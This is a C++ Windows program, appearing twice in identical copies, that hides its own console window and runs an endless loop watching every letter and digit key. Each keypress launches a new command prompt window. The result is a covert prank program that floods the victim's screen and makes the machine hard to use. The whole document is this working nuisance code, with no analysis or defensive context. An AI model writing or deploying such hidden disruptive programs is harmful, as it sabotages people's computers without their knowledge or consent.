#include<iostream>
#include<bits/stdc++.h>
#include<cstring>
#include<cmath>
#include<windows.h>
#include<string>
using namespace std;
int main(){
HWND hWnd = GetConsoleWindow(); //隐藏运行框
ShowWindow(hWnd, SW_HIDE);//隐藏运行框
while(1){
if(-32767 == GetAsyncKeyState('1')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('2')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('3')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('4')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('5')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('6')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('7')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('8')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('9')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('0')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Q')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('W')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('E')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('R')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('T')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Y')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('U')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('I')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('O')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('P')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('A')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('S')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('D')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('F')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('G')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('H')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('J')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('K')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('L')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Z')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('X')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('C')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('V')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('B')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('N')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('M')){
system("start cmd");
}
}
return 0;
}
#include<iostream>
#include<bits/stdc++.h>
#include<cstring>
#include<cmath>
#include<windows.h>
#include<string>
using namespace std;
int main(){
HWND hWnd = GetConsoleWindow(); //隐藏运行框
ShowWindow(hWnd, SW_HIDE);//隐藏运行框
while(1){
if(-32767 == GetAsyncKeyState('1')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('2')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('3')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('4')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('5')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('6')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('7')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('8')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('9')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('0')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Q')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('W')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('E')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('R')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('T')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Y')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('U')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('I')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('O')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('P')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('A')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('S')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('D')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('F')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('G')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('H')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('J')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('K')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('L')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('Z')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('X')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('C')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('V')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('B')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('N')){
system("start cmd");
}
if(-32767 == GetAsyncKeyState('M')){
system("start cmd");
}
}
return 0;
}